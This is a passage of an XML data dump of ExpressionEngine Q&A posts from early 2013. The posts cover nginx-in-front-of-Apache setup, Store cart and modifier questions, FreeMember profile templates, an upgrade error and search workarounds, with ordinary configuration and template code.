ContentLicense="CC BY-SA 3.0" />
  <row Id="6675" PostTypeId="2" ParentId="6599" CreationDate="2013-02-23T19:03:03.037" Score="1" Body="&lt;p&gt;It's working. I was partly confused by the site_name which wasn't changing. Apparently, it's a known bug so I have downloaded this add-on to deal with that specific problem of site_name: devot-ee.com/add-ons/override_site_name – &lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-02-23T19:03:03.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6676" PostTypeId="1" AcceptedAnswerId="6710" CreationDate="2013-02-23T19:28:20.433" Score="2" ViewCount="115" Body="&lt;p&gt;I'm doing some post-processing after a Safecracker form has been submitted.  During my post-processing if I want to encounter an error, I'd like to set one and have it show up as an error when the page reloads. I would assume you can do this somehow using the $safecracker object you have use of inside the hook, I'm just not sure how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or insight would be appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="206" LastEditorUserId="28" LastEditDate="2013-02-23T23:53:49.097" LastActivityDate="2013-02-25T13:36:18.510" Title="Adding custom errors inside safecracker_submit_entry_end hook" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6677" PostTypeId="2" ParentId="6651" CreationDate="2013-02-23T20:01:21.450" Score="0" Body="&lt;p&gt;not sure I know what you mean. Are you suggesting adding a new field in my matrix and writing that code in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;oh I get it now. The problem is that I am not always going to know the path so wouldn't want to hard code it in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry scratch that, I didn't see the comment posted by Andris tucked away there :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was totally the problem, cheers Andris.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="1038" LastEditDate="2013-02-23T20:22:29.250" LastActivityDate="2013-02-23T20:22:29.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6678" PostTypeId="2" ParentId="6664" CreationDate="2013-02-23T23:43:29.637" Score="1" Body="&lt;p&gt;You might want to look at the &lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Entry Type addon&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to set up a dropdown that shows/hides fields as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your dropdown can be your page name, when selected only the fields assigned to show with that dropdown selection will show.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-23T23:43:29.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6679" PostTypeId="2" ParentId="6655" CreationDate="2013-02-24T04:07:51.607" Score="2" Body="&lt;p&gt;You could probably write a .htaccess rule which 301s any URL with a certain ACT ID to a corresponding URL without. &lt;a href=&quot;https://stackoverflow.com/questions/3457022/mod-rewrite-remove-query-string-from-url&quot;&gt;Here's an example&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-02-24T04:07:51.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6680" PostTypeId="1" AcceptedAnswerId="6706" CreationDate="2013-02-24T10:41:10.707" Score="6" ViewCount="873" Body="&lt;p&gt;I have a Debian 6 32-bit Linode where I’m trying to run EE2.5.5 in Apache2 on port 8080 behind nginx0.7.  The idea is to serve PHP code from Apache, and everything else from nginx.  (Based on &lt;a href=&quot;http://hybridlogic.co.uk/2011/07/setting-up-nginx-in-front-of-apache2-on-ubuntu-server/&quot;&gt;http://hybridlogic.co.uk/2011/07/setting-up-nginx-in-front-of-apache2-on-ubuntu-server/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outputs below (sitename replaced by “website”) show more or less what has been configured.  So far image uploading and editing works with the settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Server Path to Upload Directory: /srv/www/website/static_content/&#xA;URL of Upload Directory: http://www.website/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any feedback on the security, viability and any hidden gotchas with this setup?  I disabled the built-in Rich Text Editor because it tried to directly open static files that I had moved out of the PHP tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@phoenix:/var/www/website# ls&#xA;logs php_content static_content&#xA;root@phoenix:/var/www/website# ls static_content/&#xA;images themes system&#xA;root@phoenix:/var/www/website# ls php_content/&#xA;admin.php index.php setperm.sh system themes&#xA;root@phoenix:/var/www/website# cat /etc/nginx/sites-available/website&#xA;server {&#xA;      listen 80;&#xA;      access_log /srv/www/website/logs/nginx.access.log;&#xA;      error_log /srv/www/website/logs/nginx.error.log;&#xA;      root /srv/www/website/static_content;&#xA;      index index.php index.html;&#xA;      server_name website;&#xA;      rewrite ^/$ http://www.website/index.php;&#xA;      location \ {&#xA;          try_files $uri $uri/ index.php/$uri;&#xA;      }&#xA;      location ~* ^.*\.php\b {&#xA;          proxy_set_header X-Real-IP $remote_addr;&#xA;          proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xA;          proxy_set_header Host $host;&#xA;          proxy_pass http://127.0.0.1:8080;&#xA;      }&#xA;      location ~ /\.(ht|git) {&#xA;          deny all;&#xA;      }&#xA;}&#xA;root@phoenix:/var/www/website# cat /etc/apache2/sites-available/website&#xA;&amp;lt;VirtualHost *:8080&amp;gt;&#xA;    ServerAdmin webmaster@website&#xA;    ServerName website&#xA;    ServerAlias http://www.website&#xA;    DocumentRoot /srv/www/website/php_content/&#xA;    ErrorLog /srv/www/website/logs/error.log&#xA;    CustomLog /srv/www/website/logs/access.log combined&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;root@phoenix:/var/www/website#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1058" LastActivityDate="2013-02-25T12:38:10.793" Title="Running ExpressionEngine on Apache behind nginx?" Tags="|apache|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6681" PostTypeId="2" ParentId="6680" CreationDate="2013-02-24T15:46:15.503" Score="3" Body="&lt;p&gt;I haven't tested any of these yet. I collected them, when preparing for a potential project on Nginx, but the project fell through. But here are the links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.nginx.org/ExpressionEngine&quot; rel=&quot;nofollow&quot;&gt;Wiki Nginx: ExpressionEngine&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/dikaio/2865334&quot; rel=&quot;nofollow&quot;&gt;NGINX + ExpressionEngine + PHP-FPM (unix:socket)&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.linkedin.com/groups/Anyone-have-experience-running-expressionEngine-1764167.S.94588223&quot; rel=&quot;nofollow&quot;&gt;LinkedIn: Anyone have experience running expressionEngine on&#xA;NGINX?&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kbeezie.com/php-self-path-nginx/&quot; rel=&quot;nofollow&quot;&gt;PATH_INFO on Nginx&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cnedelcu.blogspot.com/2010/05/nginx-php-via-fastcgi-important.html&quot; rel=&quot;nofollow&quot;&gt;Nginx &amp;amp; PHP via FastCGI important security issue&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/213024/&quot; rel=&quot;nofollow&quot;&gt;Nginx 1.x Config for ExpressionEngine 2.x, with PATH_INFO and&#xA;Adaptable HTTPS&lt;/a&gt;; and &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/225035/&quot; rel=&quot;nofollow&quot;&gt;EE 2.5.3 and Nginx (Auto-determine URLs&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Really, the only one that references security issues is the one Greg Aker pointed me to, which is the &lt;a href=&quot;http://cnedelcu.blogspot.com/2010/05/nginx-php-via-fastcgi-important.html&quot; rel=&quot;nofollow&quot;&gt;Nginx &amp;amp; PHP via FastCGI Important Security Issues&lt;/a&gt; on Clement Nedelcu's Journal. He mentions a few issues with the default set-up of Nginx, so the issues would be pretty much universal and effect EE on Nginx, as well. Since the security issues would be more directly related to Nginx or PHP, you may also want to look at: &lt;a href=&quot;http://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html&quot; rel=&quot;nofollow&quot;&gt;Top 20 Nginx WebServer Best Security Practices&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, that I can't offer any direct experience. &lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-24T15:46:15.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6682" PostTypeId="1" AcceptedAnswerId="6690" CreationDate="2013-02-24T19:04:11.097" Score="2" ViewCount="160" Body="&lt;p&gt;In Store is there a tag I can use to add a product (no product options) to the cart, simply by loading the product page? That is, there is no add to cart submit button that needs clicking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be the Cartthrob equivalent&#xA;&lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/add_to_cart/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="68" LastEditDate="2013-02-24T19:23:30.633" LastActivityDate="2013-02-25T07:58:23.817" Title="Add to cart without submit button?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6683" PostTypeId="1" CreationDate="2013-02-24T21:40:31.020" Score="0" ViewCount="538" Body="&lt;p&gt;I've tried upgrading EE from 2.5.2 to 2.5.5. The upgrade apparently went through OK, but when I login to the CP - none of the menu items are clickable and also the rounded borders on the menu items don't display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also getting an error when CP tries to load the following as a script;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admin.php?S=0&amp;amp;amp;D=cp&amp;amp;amp;C=javascript&amp;amp;amp;M=load&amp;amp;amp;file=css&amp;amp;amp;theme=default&amp;amp;amp;v=1356028154&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I check the Sources tab in Chrome Developer tool, I see the following;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&amp;gt;&#xA;&#xA;&amp;lt;h4&amp;gt;A PHP Error was encountered&amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Severity: Notice&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Message:  unserialize(): Error at offset 0 of 88 bytes&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Filename: libraries/Extensions.php&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line Number: 229&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;(function($, doc) {var adv_css = {&quot;.button a,\n.cp_button a,\n#search form,\ndiv.contentMenu,\n#mainContent .formArea,\n#navigationTabs .first_level:not(.addTab)&quot;:{&quot;border-radius&quot;:&quot;10px&quot;},&quot;#navigationTabs .addTab&quot;:{&quot;border-radius&quot;:&quot;none&quot;},&quot;#accessoryTabs li,\n.heading&quot;:{&quot;overflow&quot;:&quot;hidden&quot;,&quot;border-top-right-radius&quot;:&quot;10px&quot;,&quot;border-top-left-radius&quot;:&quot;10px&quot;},&quot;.tableFooter,\ndiv.pageContents,\n#mainContent #publishForm&quot;:{&quot;border-bottom-right-radius&quot;:&quot;10px&quot;,&quot;border-bottom-left-radius&quot;:&quot;10px&quot;},&quot;.newTemplate&quot;:{&quot;border-radius&quot;:&quot;5px&quot;},&quot;#write_mode_writer&quot;:{&quot;border-radius&quot;:&quot;15px&quot;},&quot;.js_hide&quot;:{&quot;display&quot;:&quot;none&quot;}}, selector, compat_el = doc.createElement(&quot;ee_compat&quot;),supported = false,inline_css = [],use = [&quot;&quot;, &quot;&quot;, &quot;$1$3&quot;],prefixes = &quot; webkit o ms moz Moz&quot;.split(&quot; &quot;),corners = &quot; -top-right -top-left -bottom-right -bottom-left&quot;.split(&quot; &quot;),regex = /^-(.)(.*?)-(.)(.*)/,css_radii = {};$.each(prefixes, function(i) {var name = i ? this+&quot;BorderRadius&quot; : &quot;borderRadius&quot;;if (compat_el.style[name] !== undefined) {if (i == 0) {use = [&quot;border&quot;, &quot;-radius&quot;, &quot;&quot;];}else if (i &amp;lt; 3) {use = [&quot;-&quot;+this+&quot;-border&quot;, &quot;-radius&quot;, &quot;&quot;];}else {use = [&quot;-moz-border-radius&quot;, &quot;&quot;, &quot;-$1$2$3$4&quot;];}supported = true;return false;}});$.each(corners, function(i, v) {if (use[2]) {v = v.replace(regex, use[2]);}css_radii[&quot;border&quot;+this+&quot;-radius&quot;] = use[0]+v+use[1];});function process_css(key, value) {if (key.indexOf(&quot;@&quot;) == -1) {var apply_radius = &quot;&quot;,sep = (supported) ? &quot;:&quot; : &quot; &quot;,jQel;for (radius in css_radii) {if (value[radius]) {apply_radius += css_radii[radius]+sep+value[radius]+&quot;;&quot;;delete(value[radius]);}}if (supported) {inline_css.push(key+&quot;{&quot;+apply_radius+&quot;}&quot;);}else {jQel = $(key).css(value);if (apply_radius) {}}}else if (key.indexOf(&quot;@&quot;+EE.router_class) != -1) {$.each(value, process_css);}}if (supported) {$.each(adv_css, process_css);var head = doc.getElementsByTagName(&quot;head&quot;)[0],ss_txt = doc.createTextNode(inline_css.join(&quot;\n&quot;)),ss_el = doc.createElement(&quot;style&quot;);ss_el.setAttribute(&quot;type&quot;, &quot;text/css&quot;);ss_el.appendChild(ss_txt);head.appendChild(ss_el);}else {$(doc).ready(function() {$.each(adv_css, process_css);});}})(jQuery, this.document)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wondered if anyone else had this issue? :/&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2019-06-13T17:02:20.263" Title="Unserialize error for libraries/Extensions.php after EE upgrade from 2.5.2 to 2.5.5" Tags="|error|upgrade|ee2-upgrades|php-errors|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6684" PostTypeId="1" AcceptedAnswerId="6686" CreationDate="2013-02-25T02:07:26.800" Score="2" ViewCount="1134" Body="&lt;p&gt;I have a channel field that is a description of an audio file.  I want to list that entire field on the actual page for the selected audio.  On the main listing of all the audio files, I'd like to have only an excerpt of that field, giving the user some idea of what the audio is about, but not the entire field.  I would like the excerpt to end with elipses, indicating that there is more to be read by clicking the link.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can accomplish this by having multiple channel fields, but I am sure there's a way to do it with just the one field, I'm just unaware of what it is, and I can't seem to locate anything in the user guide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any help you can provide.  thanks! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(by the way, I love this community!  One day I hope to be knowledgeable enough to contribute, and not just consume.)&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-02-26T03:33:35.860" Title="display an excerpt of a channel field" Tags="|channel-entries|fields|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6685" PostTypeId="2" ParentId="6640" CreationDate="2013-02-25T02:17:36.413" Score="0" Body="&lt;p&gt;Ah, if you put javascript or html with quotes inside a parameter, the problem is nested quotes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// {var=&quot;oops &quot;nested&quot; quotes&quot;}&#xA;   {var='this &quot;works&quot; ... '}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try to surround the parameter with 'single quotes'. This always has been a bit problematic and fragile. If a user then enters single quotes in a field, then the nested quotes problem will show up again. A plugin (stash, or your own custom) is able to store tagdata, and probably is the only way to do this in a safe way.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-02-25T02:17:36.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6686" PostTypeId="2" ParentId="6684" CreationDate="2013-02-25T02:26:10.727" Score="4" Body="&lt;p&gt;An add-on I've used for this purpose is David Dexter's &lt;a href=&quot;http://devot-ee.com/add-ons/snippet&quot; rel=&quot;nofollow&quot;&gt;Snippet&lt;/a&gt;. Does just what you're looking for. Keep in mind however that if your full description is a RTE field, you may have to use an HTML stripper before using the shortening tool.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-02-26T03:33:35.860" LastActivityDate="2013-02-26T03:33:35.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6688" PostTypeId="1" CreationDate="2013-02-25T05:37:17.563" Score="1" ViewCount="219" Body="&lt;p&gt;Can anyone give me a suggestion on how to make a Product Text Modifier required in Store.  I know this option is available for the Checkout Tag with the &quot;Required&quot; parameter, but not for the Product Tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a number of text modifiers that need to be filled out before the customer can add the item to their cart.  Is there a better way of doing this in Store instead of having to write Javascript code to test the fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5&#xA;Store 1.6.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks,&#xA;Shannon&lt;/p&gt;&#xA;" OwnerUserId="1022" LastActivityDate="2013-02-25T08:02:51.457" Title="Required Product Modifier Field" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6689" PostTypeId="1" CreationDate="2013-02-25T05:39:20.457" Score="3" ViewCount="253" Body="&lt;p&gt;Can I use freemember to display member profile in normal site template? I just want to display the current logged in users details, shipping address etc, and on another page have them be able to edit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/// In response to Adrian/// UPDATE&#xA;I tried that but its not parsing anything through the member fields (the email etc are ok) but they are global variables. what is not parsing is the custom fields. I have tried putting the billing address directly into the memebrs profile from the backend, but it is still not showing up on the members details page. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:members member_id=&quot;CURRENT_USER&quot;}&#xA;&#xA;      &amp;lt;h5 class=&quot;title&quot;&amp;gt;My Account&amp;lt;/h5&amp;gt;&#xA;      Name: &amp;lt;strong&amp;gt;{screen_name}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;      Email: &amp;lt;a href=&quot;mailto:#&quot;&amp;gt;{email}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;      Member since: {join_date format=&quot;%d %M %Y&quot;}&#xA;      &amp;lt;div&amp;gt;&#xA;&#xA;&#xA;      &amp;lt;p&amp;gt;{username}: {email}&amp;lt;/p&amp;gt;&#xA;        {billing_address}&#xA;                    {billing_address_1}&#xA;   {billing_address_2}&#xA;      {/exp:freemember:members}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this is my update form which I can seem to get working either-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**{exp:freemember:update_profile return=&quot;/decorate/myaccount&quot; form_id=&quot;update_profile&quot; form_name=&quot;update_profile&quot;}&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {field:email}&amp;lt;br /&amp;gt;&#xA;    {error:email}&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;screen_name&quot;&amp;gt;Screen Name&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {field:screen_name}&amp;lt;br /&amp;gt;&#xA;    {error:screen_name}&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;control-group&quot;&amp;gt; &#xA;    &amp;lt;label class=&quot;control-label&quot;&amp;gt;Billing Address&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;billing_address&quot; value=&quot;{billing_address}&quot; class=&quot;span11&quot; /&amp;gt;&#xA;        &amp;lt;span class=&quot;help-block&quot;&amp;gt;{error:billing_address}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;current_password&quot;&amp;gt;Current Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {field:current_password}&amp;lt;br /&amp;gt;&#xA;    {error:current_password}&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Update Profile&quot; /&amp;gt;&#xA;    &amp;lt;a href=&quot;{path='account/register'}&quot;&amp;gt;Create Account&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;{/exp:freemember:update_profile}**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will update the uesrname and email, but not this billing address. &lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="782" LastEditDate="2013-03-11T20:04:37.280" LastActivityDate="2014-03-28T02:06:08.310" Title="Can I use freemember to display member profile in normal site template" Tags="|freemember|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6690" PostTypeId="2" ParentId="6682" CreationDate="2013-02-25T07:58:23.817" Score="2" Body="&lt;p&gt;The equivalent in Store would be to use AJAX to POST directly to our action URL. You can simply add the standard product tag/form to your page, then use javascript to call &lt;code&gt;$(&quot;#productform&quot;).submit()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't any way to add an item directly to the cart using a GET request, since GET requests should never be used to change the state of a system (because they could be easily triggered by malicious sites using simple hidden image tags etc).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-25T07:58:23.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6691" PostTypeId="2" ParentId="6688" CreationDate="2013-02-25T08:02:51.457" Score="3" Body="&lt;p&gt;There isn't any server-side error handling on the add to cart form, so there isn't any way to make text modifiers required (aside from the fact that modifiers normally vary from product to product, which would make it hard to specify in the template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best and easiest way to do this is using Javascript, as you suggested. A simple form submit function would be enough, though if you want you could get really fancy with your form validation/error handling.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#submitbtn&quot;).click(function() {&#xA;    if ($(&quot;#textfield&quot;).val() === &quot;&quot;) {&#xA;        alert(&quot;Please enter a value!&quot;);&#xA;        return false;&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-25T08:02:51.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6692" PostTypeId="2" ParentId="6689" CreationDate="2013-02-25T08:09:32.747" Score="1" Body="&lt;p&gt;It sounds like you're looking for the FreeMember &lt;a href=&quot;https://github.com/expressodev/freemember/blob/master/docs/members_tag.md&quot; rel=&quot;nofollow&quot;&gt;members tag&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can display the current user's profile like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:members member_id=&quot;CURRENT_USER&quot;}&#xA;    &amp;lt;!-- member fields --&amp;gt;&#xA;{/exp:freemember:members}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to update the current member's profile, use the &lt;a href=&quot;https://github.com/expressodev/freemember/blob/master/docs/update_profile_tag.md&quot; rel=&quot;nofollow&quot;&gt;update profile tag&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:update_profile}&#xA;    &amp;lt;!-- member fields --&amp;gt;&#xA;{/exp:freemember:update_profile}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-25T08:09:32.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6693" PostTypeId="2" ParentId="5678" CreationDate="2013-02-25T08:57:26.633" Score="0" Body="&lt;p&gt;Unfortunately, there's no way to do this with Low Search at this time. I think there are only two solutions to this problem:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use Solspace Super Search which includes a method for searching tags.&lt;/li&gt;&#xA;&lt;li&gt;Use categories instead of Solspace Tags since they are queried via their IDs instead of their actual names.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I went for option 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing getting this to work is to search a field using the &quot;\W&quot; trigger at the end of the term.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;search:vendor_services&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;foo\W&quot;&amp;gt;Foo&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;bar\W&quot;&amp;gt;Bar&amp;lt;/option&amp;gt;&#xA;&#xA;  …&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This searches for a full word, not a partial word match. It works the same as the search:field-name parameter in the channel entries tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When doing a “Contains” search, ExpressionEngine is literally just looking for matches on the combination of letters given. For instance using “cat” in a “Contains” search would match entries with “cat”, “cats”, “category”, “vocation”, etc. If you need “Contains” matching, but only want entries that include the term as a whole word on its own, you can add the special trigger \W after the term.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem with this solution is that Solspace Tags can be multiple words. For instance, searching &quot;farm\W&quot; will find the &lt;strong&gt;&quot;farm&quot;&lt;/strong&gt; tag and ignore a &lt;strong&gt;&quot;farmers market&quot;&lt;/strong&gt; tag, but it would also match a tag like &lt;strong&gt;&quot;ant farm&quot;&lt;/strong&gt; since it also contains a the whole word &quot;farm.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to have this work correctly would be to write an extension for Low Search that searches the tables Solspace Tag creates to store tag data.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-25T08:57:26.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6694" PostTypeId="2" ParentId="6499" CreationDate="2013-02-25T09:04:32.050" Score="0" Body="&lt;p&gt;The USE of TITLE MASTER (&lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/title-master&lt;/a&gt;) solved this problem. I really like this add-on, it makes using safecracker while maintaining nice and consistant title's and url's a breeze.&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-02-25T09:04:32.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6695" PostTypeId="1" CreationDate="2013-02-25T09:22:40.217" Score="1" ViewCount="264" Body="&lt;p&gt;I'm having the strangest problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have ExpressionEngine 2.5.2 site using Zoo Visitor to manage my members. I have multiple accounts setup so i can test the site from different member ship groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my machine Mac 10.8.2 with Safari 6.0.2 everything works fine. I can login/logout on both frontend and control panel in both Safari, FF and Chrome. My client with the exact same software versions however can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His machine refuses to login while using safari, firefox shows none of these problems. On the frontend i'm able to login when a select the auto_login function. But without selecting that, no dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the backend I have the same problem, until i switch the admin_session_type to cookie only. And then i'm only able to login when i select the auto_login function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This however isn't a solution because i want to be running the backend using admin_session_type Session ID + Cookies. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;This i've already tried&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Removing securit:ee&lt;/li&gt;&#xA;&lt;li&gt;Security and Session Preferences -&gt; Require IP Address and User Agent for 